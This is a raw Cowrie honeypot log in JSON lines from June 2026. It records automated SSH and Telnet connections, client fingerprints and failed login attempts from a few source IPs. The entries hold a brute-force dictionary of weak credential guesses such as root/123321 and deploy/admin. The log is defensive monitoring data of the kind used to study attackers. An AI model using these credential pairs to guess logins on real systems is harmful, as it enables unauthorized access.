{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:17.888026Z","src_ip":"91.92.42.227","session":"655695a1abcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:17.891865Z","src_ip":"91.92.42.227","session":"655695a1abcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":41516,"dst_ip":"10.17.0.5","dst_port":22,"session":"dfbda84244d5","protocol":"ssh","message":"New connection: 45.156.87.147:41516 (10.17.0.5:22) [session: dfbda84244d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:18.940619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:18.944650Z","src_ip":"45.156.87.147","session":"dfbda84244d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:19.072806Z","src_ip":"45.156.87.147","session":"dfbda84244d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"12345","message":"login attempt [server/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:19.371268Z","src_ip":"45.156.87.147","session":"dfbda84244d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456789","message":"login attempt [ubuntu/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:19.639912Z","src_ip":"91.92.42.227","session":"655695a1abcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:20.455154Z","src_ip":"45.156.87.147","session":"dfbda84244d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:21.123606Z","src_ip":"91.92.42.227","session":"655695a1abcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":51058,"dst_ip":"10.17.0.5","dst_port":22,"session":"74f31c7811f3","protocol":"ssh","message":"New connection: 91.92.42.227:51058 (10.17.0.5:22) [session: 74f31c7811f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:24.450346Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":58264,"dst_ip":"10.17.0.5","dst_port":22,"session":"d349c81689c7","protocol":"ssh","message":"New connection: 45.156.87.147:58264 (10.17.0.5:22) [session: d349c81689c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:24.913889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:24.918258Z","src_ip":"45.156.87.147","session":"d349c81689c7","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:24.953532Z","src_ip":"91.92.42.227","session":"74f31c7811f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:24.957220Z","src_ip":"91.92.42.227","session":"74f31c7811f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:25.000510Z","src_ip":"45.156.87.147","session":"d349c81689c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":34550,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d6354fb35bd","protocol":"ssh","message":"New connection: 8.219.200.1:34550 (10.17.0.5:22) [session: 1d6354fb35bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:25.219708Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321","message":"login attempt [root/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:25.368284Z","src_ip":"45.156.87.147","session":"d349c81689c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:26.451733Z","src_ip":"45.156.87.147","session":"d349c81689c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amine","password":"amine","message":"login attempt [amine/amine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:27.408822Z","src_ip":"91.92.42.227","session":"74f31c7811f3","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:27.493541Z","src_ip":"8.219.200.1","session":"1d6354fb35bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:27.499246Z","src_ip":"8.219.200.1","session":"1d6354fb35bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":55620,"dst_ip":"10.17.0.5","dst_port":23,"session":"3486a522cd90","protocol":"telnet","message":"New connection: 172.81.62.90:55620 (10.17.0.5:23) [session: 3486a522cd90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:27.605718Z"}
{"eventid":"cowrie.login.failed","username":"odoo14","password":"odoo14","message":"login attempt [odoo14/odoo14] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:28.097430Z","src_ip":"8.219.200.1","session":"614666a6075b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:29.489672Z","src_ip":"91.92.42.227","session":"74f31c7811f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"26.3","message":"Connection lost after 26.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:30.691420Z","src_ip":"8.219.200.1","session":"614666a6075b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":39390,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1b6534f7164","protocol":"ssh","message":"New connection: 91.92.42.227:39390 (10.17.0.5:22) [session: d1b6534f7164]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:30.968291Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":59368,"dst_ip":"10.17.0.5","dst_port":22,"session":"0211bd59256b","protocol":"ssh","message":"New connection: 45.156.87.147:59368 (10.17.0.5:22) [session: 0211bd59256b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:31.201625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:31.226787Z","src_ip":"45.156.87.147","session":"0211bd59256b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:31.288611Z","src_ip":"45.156.87.147","session":"0211bd59256b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123321","message":"login attempt [testuser/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:31.614305Z","src_ip":"45.156.87.147","session":"0211bd59256b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:31.665967Z","src_ip":"91.92.42.227","session":"d1b6534f7164","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:31.679488Z","src_ip":"91.92.42.227","session":"d1b6534f7164","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:32.699776Z","src_ip":"45.156.87.147","session":"0211bd59256b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@123","message":"login attempt [root/Root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:33.738813Z","src_ip":"8.219.200.1","session":"1d6354fb35bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"admin","message":"login attempt [deploy/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:34.033531Z","src_ip":"91.92.42.227","session":"d1b6534f7164","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:35.453220Z","src_ip":"91.92.42.227","session":"d1b6534f7164","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.4","message":"Connection lost after 10.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:35.669225Z","src_ip":"8.219.200.1","session":"1d6354fb35bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":59370,"dst_ip":"10.17.0.5","dst_port":22,"session":"c677505da80d","protocol":"ssh","message":"New connection: 45.156.87.147:59370 (10.17.0.5:22) [session: c677505da80d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:37.547266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:37.555244Z","src_ip":"45.156.87.147","session":"c677505da80d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:37.636220Z","src_ip":"45.156.87.147","session":"c677505da80d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"abc123","message":"login attempt [guest/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:37.883431Z","src_ip":"45.156.87.147","session":"c677505da80d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:38.975405Z","src_ip":"45.156.87.147","session":"c677505da80d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":35510,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3257d31d79e","protocol":"ssh","message":"New connection: 91.92.42.227:35510 (10.17.0.5:22) [session: b3257d31d79e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:39.126754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:09:39.206512Z","src_ip":"91.92.42.227","session":"b3257d31d79e","protocol":"ssh"}
